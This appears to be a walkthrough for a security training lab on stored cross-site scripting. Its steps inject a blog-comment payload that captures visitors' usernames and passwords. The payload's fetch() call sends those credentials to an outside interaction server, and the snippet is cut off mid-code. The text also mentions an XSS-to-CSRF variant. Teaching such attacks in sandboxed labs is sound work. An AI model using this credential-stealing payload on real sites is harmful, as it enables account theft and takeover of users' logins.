Exploiting cross-site scripting to capture passwords


The website in this lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted.

Reproduction and proof of concept

  1. Using Burp Suite Professional, go to the Collaborator tab.

  2. Click “Copy to clipboard” to copy a unique Burp Collaborator payload to your clipboard.

  3. Enter the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:

<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://dyfm57w738b9ce3s2hdcovtg177yvojd.oastify.com',{
mode: 'no-cors',

This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server.

  1. Go back to the Collaborator tab, and click “Poll now”. You should see an HTTP interaction. If you don’t see any interactions listed, wait a few seconds and try again.

  2. Take a note of the value of the victim’s username and password in the POST body.


  1. Use the credentials to log in as the administrator user.


To prevent the Academy platform being used to attack third parties, the firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, use Burp Collaborator’s default public server.

And there is an alternative solution to this lab that does not require Burp Collaborator: adapt the attack to make the victim post their credentials within a blog comment by exploiting the XSS to perform CSRF. This is far less subtle because it exposes the username and password publicly, and also discloses evidence that the attack was performed.